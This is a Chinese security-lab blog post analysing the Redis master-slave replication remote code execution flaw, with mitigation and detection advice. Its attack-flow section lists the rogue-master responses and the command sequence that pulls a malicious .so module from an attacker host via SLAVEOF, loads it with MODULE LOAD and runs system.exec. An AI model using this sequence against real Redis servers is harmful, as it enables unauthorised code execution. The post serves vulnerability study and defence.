咨詢服務熱線

400-6446-808

創安實驗室專欄
您的當前位置:首頁 > 創安實驗室專欄
創安實驗室專欄丨Redis主從複制RCE分(fēn)析
發布者:創信華通  發布時間:2023-01-09  浏覽量:770次











古語有雲:“學如逆水行舟,不進則退。”面對如今随時都在變化的網絡安全環境更是如此。爲此,創信華通微信公衆号特開(kāi)設“創安實驗室專欄”,以記錄創信華通創安實驗室在技術上的探索,加強同行間的交流,相互學習,共同進步。


+

+

Redis主從複制RCE分(fēn)析

漏洞描述

Redis是一(yī)套開(kāi)源的使用ANSIC編寫、支持網絡、可基于内存亦可持久化的日志(zhì)型、鍵值存儲數據庫,并提供多種語言的API。由于其高可用性和速度優勢,常用于緩存系統(“熱點”數據:高頻(pín)讀、低頻(pín)寫)、計數器、消息隊列系統、排行榜、社交網絡和實時系統等。

Redis主從複制RCE是在主從複制基礎上,通過複制惡意文件到本地,結合模塊加載功能将惡意文件成功加載,調用惡意文件接口實現命令執行。

影響

Redis 4.x 和Redis 5.x版本

漏洞原理

Redis 2.8版本在原有單機架構的基礎上,爲了解決單機宕機的風險,引入主從複制的機制,通過主服務器将數據備份到從服務器上,由主服務器負責處理外(wài)部寫操作,從服務器負責讀操作。通過數據複制,Redis的一(yī)個master可以挂載多個slave,而slave下(xià)還可以挂載多個slave,形成多層嵌套結構。所有寫操作都在master實例中(zhōng)進行,master執行完畢後,将寫指令分(fēn)發給挂在自己下(xià)面的slave節點。slave節點下(xià)如果有嵌套的slave,會将收到的寫指令進一(yī)步分(fēn)發給挂在自己下(xià)面的slave。

Redis提供了2種不同的持久化方式,RDB方式(在指定的時間間隔内生(shēng)成數據集的時間點快照)和AOF方式(記錄服務器執行的所有寫操作命令).AOF方式備份數據庫的文件名默認爲appendonly.aof,可以在配置文件中(zhōng)通過修改appendfilename參數進行修改,無法在客戶端交互中(zhōng)動态設置appendfilename,而RDB方式備份數據庫的文件名默認爲dump.rdb,此文件名可以通過客戶端交互動态設置dbfilename來更改。

主從複制模式下(xià)數據單向從主節點流向從節點,在從節點首次注冊時,會對主節點數據進行全量複制,複制過程中(zhōng)用offset記錄讀取的數據大(dà)小(xiǎo),以便中(zhōng)斷後斷點續傳。如果從節點初始沒有數據,通過主從複制,可以将主節點設置的dbfilename文件全量複制到從節點的dbfilename中(zhōng),從而實現任意文件上傳。

任意Redis服務器在啓動時默認作爲Master主節點,當執行SLAVEOF命令後自動發送請求注冊成爲目标的從節點,未對主節點信息進行校驗。

在Reids 4.x之後,Redis新增了模塊功能,通過寫c語言并編譯出.so文件作爲外(wài)部拓展,可以實現在redis中(zhōng)實現一(yī)個新的Redis命令。

因此,可以通過自己模拟Redis服務器,通過執行命令設置将其設置爲主節點,通過自行構造主服務器響應的情況,通過FULLRESYNC命令無損寫入想要寫的文件。結合任意模塊加載,實現任意命令執行。

攻擊流程

0x00 模拟Redis主服務器

主服務器需要執行的響應内容如下(xià):

[>] PING – 從服務器探測主服務器是否存活

[<] +PONG  存活響應

[>] REPLCONF – 交換主從節點複制信息

[<] +OK     确認

[>] PSYNC/SYNC – 同步狀态以及傳輸方式

[<] +FULLRESYNC  同步數據

0x01 複制加載

Config set dir /path/

Config set dbfilename test.so  修改備份文件路徑

SLAVEOF host port 設置爲對應服務器的從節點

MODULE LOAD /path/test.so 加載複制過來的

SLAVEOF no one  關閉主從複制關系(防止髒數據複制)

System.exec ‘command’ 執行命令

對應流量特征如下(xià):

修複建議

主從複制RCE實現條件:

□ Redis可訪問(未授權或有憑據)

□ 可動态修改備份文件路徑

□ 主從未校驗可信服務端

依據上述情況,可以對應防護:

① Redis設置訪問白(bái)名單(入 防止惡意訪問和出 防止惡意設置爲主從)

② Redis添加認證

在配置文件/etc/redis/redis.conf中(zhōng)修改requirepasss屬性爲強口令,完成後重啓服務器

動态命令設置config set requirepass YorPass

③ 重命名相關命令

在配置文件/etc/redis/redis.conf中(zhōng)

rename-command CONFIG PDZA1DA也可以rename-command CONFIG "" 設置爲空來禁用

對于惡意特征,可以通過MODULE LIST命令查看當前加載的模塊信息,重點關注非官方加載或者SYSTEM、EXEC等惡意關鍵詞,監控Redis服務器上Redis進程寫入的so文件(Windows爲DLL文件),流量中(zhōng)可以重點關注FULLRESYNC命令以及相關文件二進制特征(Webshell,Cron,Authorized_keys,so和DLL等)。

E·N·D


本文由創信華通創安實驗室編輯。

本文僅限于個人學習和技術研究,由于傳播、利用此文所提供的信息而造成刑事案件、非授權攻擊等違法行爲,均由使用者本人負責,本單位不爲此承擔任何責任。創安攻防實驗室擁有對此文章的修改和解釋權,如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部内容。


如有侵權,請聯系後台。




創安實驗室

創信華通創安實驗室,是天慕卓越(深圳)網絡科技有限公司旗下(xià)的技術研究團隊,成立于2021年9月,主要研究紅藍(lán)對抗、重大(dà)安全保障、應急響應等方向。

創安攻防實驗室圓滿完成了多次公安舉辦的重要網絡安全保障和攻防演習活動,并積極參加各類網絡安全競賽,屢獲殊榮。

創安攻防實驗室秉承創信華通的發展理念,緻力打造國内一(yī)流網絡安全團隊。



下(xià)一(yī)條:CVE-2020-14882分(fēn)析